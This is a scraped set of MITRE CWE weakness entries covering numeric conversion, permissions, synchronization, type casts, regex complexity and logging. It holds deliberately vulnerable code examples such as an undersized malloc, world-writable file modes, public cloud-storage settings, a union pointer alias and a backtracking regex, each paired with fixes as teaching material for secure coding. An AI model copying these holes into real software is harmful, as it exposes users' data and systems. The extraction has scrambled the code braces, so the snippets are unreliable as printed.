Example Language: C
int *id_sequence;
/* Allocate space for an array of three ids. */ id_sequence = (int*) malloc(3); if (id_sequence == NULL) exit(1); /* Populate the id array. */ id_sequence[0] = 13579; id_sequence[1] = 24680; id_sequence[2] = 97531; The problem with the code above is the value of the size parameter used during the malloc() call. It uses a value of '3' which by definition results in a buffer of three bytes to be created. However the intention was to create a buffer that holds three ints, and in C, each int requires 4 bytes worth of memory, so an array of 12 bytes is needed, 4 bytes for each int. Executing the above code could result in a buffer overflow as 12 bytes of data is being saved into 3 bytes worth of allocated space. The overflow would occur during the assignment of id_sequence[0] and would continue with the assignment of id_sequence[1] and id_sequence[2]. The malloc() call could have used '3*sizeof(int)' as the value for the size parameter in order to allocate the correct amount of space required to store the three ints.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Maintenance This is a broad category. Some examples include:
This level of detail is rarely available in public reports, so it is difficult to find good examples. Maintenance This weakness may be a composite or a chain. It also may contain layering or perspective differences. This issue may be associated with many different types of incorrect calculations (CWE-682), although the integer overflow (CWE-190) is probably the most prevalent. This can be primary to resource consumption problems (CWE-400), including uncontrolled memory allocation (CWE-789). However, its relationship with out-of-bounds buffer access (CWE-119) must also be considered.
CWE-681: Incorrect Conversion between Numeric Types
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterWhen converting from one data type to another, such as long to integer, data can be omitted or translated in a way that produces unexpected values. If the resulting values are used in a sensitive context, then dangerous behaviors may occur.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Class: Not Language-Specific (Undetermined Prevalence) Example 1 In the following Java example, a float literal is cast to an integer, thus causing a loss of precision. (bad code)
Example Language: Java
int i = (int) 33457.8f;
Example 2 This code adds a float and an integer together, casting the result to an integer. (bad code)
Example Language: PHP
$floatVal = 1.8345;
$intVal = 3; $result = (int)$floatVal + $intVal; Normally, PHP will preserve the precision of this operation, making $result = 4.8345. After the cast to int, it is reasonable to expect PHP to follow rounding convention and set $result = 5. However, the explicit cast to int always rounds DOWN, so the final value of $result is 4. This behavior may have unintended consequences. Example 3 In this example the variable amount can hold a negative value when it is returned. Because the function is declared to return an unsigned int, amount will be implicitly converted to unsigned. (bad code)
Example Language: C
unsigned int readdata () {
int amount = 0; }... if (result == ERROR) amount = -1; ... return amount; If the error condition in the code above is met, then the return value of readdata() will be 4,294,967,295 on a system that uses 32-bit integers. Example 4 In this example, depending on the return value of accecssmainframe(), the variable amount can hold a negative value when it is returned. Because the function is declared to return an unsigned value, amount will be implicitly cast to an unsigned number. (bad code)
Example Language: C
unsigned int readdata () {
int amount = 0; }... amount = accessmainframe(); ... return amount; If the return value of accessmainframe() is -1, then the return value of readdata() will be 4,294,967,295 on a system that uses 32-bit integers.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-732: Incorrect Permission Assignment for Critical Resource
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product specifies permissions for a security-critical resource in a way that allows that resource to be read or modified by unintended actors.
When a resource is given a permission setting that provides access to a wider range of actors than required, it could lead to the exposure of sensitive information, or the modification of that resource by unintended parties. This is especially dangerous when the resource is related to program configuration, execution, or sensitive user data. For example, consider a misconfigured storage account for the cloud that can be read or written by a public or anonymous user.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Relevant to the view "Architectural Concepts" (CWE-1008)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Class: Not Language-Specific (Undetermined Prevalence) Technologies Class: Not Technology-Specific (Undetermined Prevalence) Class: Cloud Computing (Often Prevalent) Example 1 The following code sets the umask of the process to 0 before creating a file and writing "Hello world" into the file. (bad code)
Example Language: C
#define OUTFILE "hello.out"
umask(0); FILE *out; /* Ignore link following (CWE-59) for brevity */ out = fopen(OUTFILE, "w"); if (out) { fprintf(out, "hello world!\n"); }fclose(out); After running this program on a UNIX system, running the "ls -l" command might return the following output: (result)
-rw-rw-rw- 1 username 13 Nov 24 17:58 hello.out
The "rw-rw-rw-" string indicates that the owner, group, and world (all users) can read the file and write to it. Example 2 This code creates a home directory for a new user, and makes that user the owner of the directory. If the new directory cannot be owned by the user, the directory is deleted. (bad code)
Example Language: PHP
function createUserDir($username){
$path = '/home/'.$username; }if(!mkdir($path)){ return false; }if(!chown($path,$username)){ rmdir($path); }return false; return true; Because the optional "mode" argument is omitted from the call to mkdir(), the directory is created with the default permissions 0777. Simply setting the new user as the owner of the directory does not explicitly change the permissions of the directory, leaving it with the default. This default allows any user to read and write to the directory, allowing an attack on the user's files. The code also fails to change the owner group of the directory, which may result in access by unexpected groups. This code may also be vulnerable to Path Traversal (CWE-22) attacks if an attacker supplies a non alphanumeric username. Example 3 The following code snippet might be used as a monitor to periodically record whether a web site is alive. To ensure that the file can always be modified, the code uses chmod() to make the file world-writable. (bad code)
Example Language: Perl
$fileName = "secretFile.out";
if (-e $fileName) { chmod 0777, $fileName; }my $outFH; if (! open($outFH, ">>$fileName")) { ExitError("Couldn't append to $fileName: $!"); }my $dateString = FormatCurrentTime(); my $status = IsHostAlive("cwe.mitre.org"); print $outFH "$dateString cwe status: $status!\n"; close($outFH); The first time the program runs, it might create a new file that inherits the permissions from its environment. A file listing might look like: (result)
-rw-r--r-- 1 username 13 Nov 24 17:58 secretFile.out
This listing might occur when the user has a default umask of 022, which is a common setting. Depending on the nature of the file, the user might not have intended to make it readable by everyone on the system. The next time the program runs, however - and all subsequent executions - the chmod will set the file's permissions so that the owner, group, and world (all users) can read the file and write to it: (result)
-rw-rw-rw- 1 username 13 Nov 24 17:58 secretFile.out
Perhaps the programmer tried to do this because a different process uses different permissions that might prevent the file from being updated. Example 4 This program creates and reads from an admin file to determine privilege information. If the admin file doesn't exist, the program will create one. In order to create the file, the program must have write privileges to write to the file. After the file is created, the permissions need to be changed to read only. (bad code)
Example Language: Go
const adminFile = "/etc/admin-users"
func createAdminFileIfNotExists() error {
file, err := os.Create(adminFile)
}if err != nil {
return err
}return nil
func changeModeOfAdminFile() error {
fileMode := os.FileMode(0440)
}if err := os.Chmod(adminFile, fileMode); err != nil {
return err
}return nil os.Create will create a file with 0666 permissions before umask if the specified file does not exist. A typical umask of 0022 would result in the file having 0644 permissions. That is, the file would have world-writable and world-readable permissions. In this scenario, it is advised to use the more customizable method of os.OpenFile with the os.O_WRONLY and os.O_CREATE flags specifying 0640 permissions to create the admin file. This is because on a typical system where the umask is 0022, the perm 0640 applied in os.OpenFile will result in a file of 0620 where only the owner and group can write. Example 5 The following command recursively sets world-readable permissions for a directory and all of its children: (bad code)
Example Language: Shell
chmod -R ugo+r DIRNAME
If this command is run from a program, the person calling the program might not expect that all the files under the directory will be world-readable. If the directory is expected to contain private data, this could become a security problem. Example 6 The following Azure command updates the settings for a storage account: (bad code)
Example Language: Shell
az storage account update --name <storage-account> --resource-group <resource-group> --allow-blob-public-access true
However, "Allow Blob Public Access" is set to true, meaning that anonymous/public users can access blobs. The command could be modified to disable "Allow Blob Public Access" by setting it to false. (good code)
Example Language: Shell
az storage account update --name <storage-account> --resource-group <resource-group> --allow-blob-public-access false
Example 7 The following Google Cloud Storage command gets the settings for a storage account named 'BUCKET_NAME': (informative)
Example Language: Shell
gsutil iam get gs://BUCKET_NAME
Suppose the command returns the following result: (bad code)
Example Language: JSON
{
"bindings":[{
}
"members":[
},
"projectEditor: PROJECT-ID",
],"projectOwner: PROJECT-ID" "role":"roles/storage.legacyBucketOwner" {
"members":[
]
"allUsers",
}"projectViewer: PROJECT-ID" ], "role":"roles/storage.legacyBucketReader" This result includes the "allUsers" or IAM role added as members, causing this policy configuration to allow public access to cloud storage resources. There would be a similar concern if "allAuthenticatedUsers" was present. The command could be modified to remove "allUsers" and/or "allAuthenticatedUsers" as follows: (good code)
Example Language: Shell
gsutil iam ch -d allUsers gs://BUCKET_NAME
gsutil iam ch -d allAuthenticatedUsers gs://BUCKET_NAME
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Maintenance
CWE-821: Incorrect Synchronization
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product utilizes a shared resource in a concurrent manner, but it does not correctly synchronize access to the resource.
If access to a shared resource is not correctly synchronized, then the resource may not be in a state that is expected by the product. This might lead to unexpected or insecure behaviors, especially if an attacker can influence the shared resource.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Maintenance
Deeper research is necessary for synchronization and related mechanisms, including locks, mutexes, semaphores, and other mechanisms. Multiple entries are dependent on this research, which includes relationships to concurrency, race conditions, reentrant functions, etc. CWE-662 and its children - including CWE-667, CWE-820, CWE-821, and others - may need to be modified significantly, along with their relationships.
CWE-704: Incorrect Type Conversion or Cast
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product does not correctly convert an object, resource, or structure from one type to a different type.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages C (Often Prevalent) C++ (Often Prevalent) Class: Not Language-Specific (Undetermined Prevalence) Example 1 In this example, depending on the return value of accecssmainframe(), the variable amount can hold a negative value when it is returned. Because the function is declared to return an unsigned value, amount will be implicitly cast to an unsigned number. (bad code)
Example Language: C
unsigned int readdata () {
int amount = 0; }... amount = accessmainframe(); ... return amount; If the return value of accessmainframe() is -1, then the return value of readdata() will be 4,294,967,295 on a system that uses 32-bit integers. Example 2 The following code uses a union to support the representation of different types of messages. It formats messages differently, depending on their type. (bad code)
Example Language: C
#define NAME_TYPE 1
#define ID_TYPE 2 struct MessageBuffer { int msgType; };union { char *name; };int nameID; int main (int argc, char **argv) { struct MessageBuffer buf;
char *defaultMessage = "Hello World"; buf.msgType = NAME_TYPE; buf.name = defaultMessage; printf("Pointer of buf.name is %p\n", buf.name); /* This particular value for nameID is used to make the code architecture-independent. If coming from untrusted input, it could be any value. */ buf.nameID = (int)(defaultMessage + 1); printf("Pointer of buf.name is now %p\n", buf.name); if (buf.msgType == NAME_TYPE) { printf("Message: %s\n", buf.name); }else { printf("Message: Use ID %d\n", buf.nameID); }The code intends to process the message as a NAME_TYPE, and sets the default message to "Hello World." However, since both buf.name and buf.nameID are part of the same union, they can act as aliases for the same memory location, depending on memory layout after compilation. As a result, modification of buf.nameID - an int - can effectively modify the pointer that is stored in buf.name - a string. Execution of the program might generate output such as:
Pointer of name is 10830
Pointer of name is now 10831
Message: ello World
Notice how the pointer for buf.name was changed, even though buf.name was not explicitly modified. In this case, the first "H" character of the message is omitted. However, if an attacker is able to fully control the value of buf.nameID, then buf.name could contain an arbitrary pointer, leading to out-of-bounds reads or writes.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-407: Inefficient Algorithmic Complexity
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterAn algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Class: Not Language-Specific (Undetermined Prevalence) Example 1 This example attempts to check if an input string is a "sentence" [REF-1164]. (bad code)
Example Language: JavaScript
var test_string = "Bad characters: $@#";
var bad_pattern = /^(\w+\s?)*$/i; var result = test_string.search(bad_pattern); The regular expression has a vulnerable backtracking clause inside (\w+\s?)*$ which can be triggered to cause a Denial of Service by processing particular phrases. To fix the backtracking problem, backtracking is removed with the ?= portion of the expression which changes it to a lookahead and the \2 which prevents the backtracking. The modified example is: (good code)
Example Language: JavaScript
var test_string = "Bad characters: $@#";
var good_pattern = /^((?=(\w+))\2\s?)*$/i; var result = test_string.search(good_pattern); Note that [REF-1164] has a more thorough (and lengthy) explanation of everything going on within the RegEx.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-1051: Initialization with Hard-Coded Network Resource Configuration Data
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product initializes data using hard-coded values that act as network resource identifiers.
This issue can prevent the product from running reliably, e.g. if it runs in an environment does not use the hard-coded network resource identifiers. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-778: Insufficient Logging
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterWhen a security-critical event occurs, the product either does not record the event or omits important details about the event when logging it.
When security-critical events are not logged properly, such as a failed login attempt, this can make malicious behavior more difficult to detect and may hinder forensic analysis after an attack succeeds. As organizations adopt cloud storage resources, these technologies often require configuration changes to enable detailed logging information, since detailed logging can incur additional costs. This could lead to telemetry gaps in critical audit logs. For example, in Azure, the default value for logging is disabled. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
Relevant to the view "Architectural Concepts" (CWE-1008)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Class: Not Language-Specific (Undetermined Prevalence) Technologies Class: Cloud Computing (Undetermined Prevalence) Example 1 The example below shows a configuration for the service security audit feature in the Windows Communication Foundation (WCF). (bad code)
Example Language: XML
<system.serviceModel>
<behaviors> </system.serviceModel><serviceBehaviors>
<behavior name="NewBehavior">
<serviceSecurityAudit auditLogLocation="Default" ...suppressAuditFailure="false" serviceAuthorizationAuditLevel="None" messageAuthenticationAuditLevel="None" /> The previous configuration file has effectively disabled the recording of security-critical events, which would force the administrator to look to other sources during debug or recovery efforts. Logging failed authentication attempts can warn administrators of potential brute force attacks. Similarly, logging successful authentication events can provide a useful audit trail when a legitimate account is compromised. The following configuration shows appropriate settings, assuming that the site does not have excessive traffic, which could fill the logs if there are a large number of success or failure events (CWE-779). (good code)
Example Language: XML
<system.serviceModel>
<behaviors> </system.serviceModel><serviceBehaviors>
<behavior name="NewBehavior">
<serviceSecurityAudit auditLogLocation="Default"
...suppressAuditFailure="false" serviceAuthorizationAuditLevel="SuccessAndFailure" messageAuthenticationAuditLevel="SuccessAndFailure" /> Example 2 In the following Java example the code attempts to authenticate the user. If the login fails a retry is made. Proper restrictions on the number of login attempts are of course part of the retry functionality. Unfortunately, the failed login is not recorded and there would be no record of an adversary attempting to brute force the program. (bad code)
Example Language: Java
if LoginUser(){
// Login successful
} else {
RunProgram(); // Login unsuccessful
}LoginRetry(); It is recommended to log the failed login action. Note that unneutralized usernames should not be part of the log message, and passwords should never be part of the log message. (good code)
Example Language: Java
if LoginUser(){
// Login successful
} else {
log.warn("Login by user successful."); RunProgram();
// Login unsuccessful
}log.warn("Login attempt by user failed, trying again."); LoginRetry(); Example 3 Consider this command for updating Azure's Storage Logging for Blob service, adapted from [REF-1307]: (bad code)
Example Language: Shell
az storage logging update --account-name --account-key --services b --log d --retention 90
The "--log d" portion of the command says to log deletes. However, the argument does not include the logging of writes and reads. Adding the "rw" arguments to the -log parameter will fix the issue: (good code)
Example Language: Shell
az storage logging update --account-name --account-key --services b --log rwd --retention 90
To enable Azure's storage analytic logs programmatically using PowerShell: (good code)
Example Language: Shell
Set-AzStorageServiceLoggingProperty -ServiceType Queue -LoggingOperations read,write,delete -RetentionDays 5 -Context $MyContextObject
Notice that here, the retention has been limited to 5 days.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-1054: Invocation of a Control Element at an Unnecessarily Deep Horizontal Layer
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe code at one architectural layer invokes code that resides
at a deeper layer than the adjacent layer, i.e., the invocation skips at least one
layer, and the invoked code is not part of a vertical utility layer that can be referenced from any horizontal layer.
This issue makes it more difficult to understand and maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-1058: Invokable Control Element in Multi-Thread Context with non-Final Static Storable or Member Element
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe code contains a function or method that
operates in a multi-threaded environment but owns an unsafe non-final
static storable or member data element.
This issue can prevent the product from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-1084: Invokable Control Element with Excessive File or Data Access Operations
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterA function or method contains too many
operations that utilize a data manager or file resource.
This issue makes it more difficult to maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities. While the interpretation of "too many operations" may vary for each product or developer, CISQ recommends a default maximum of 7 operations for the same data manager or file. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-1085: Invokable Control Element with Excessive Volume of Commented-out Code
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
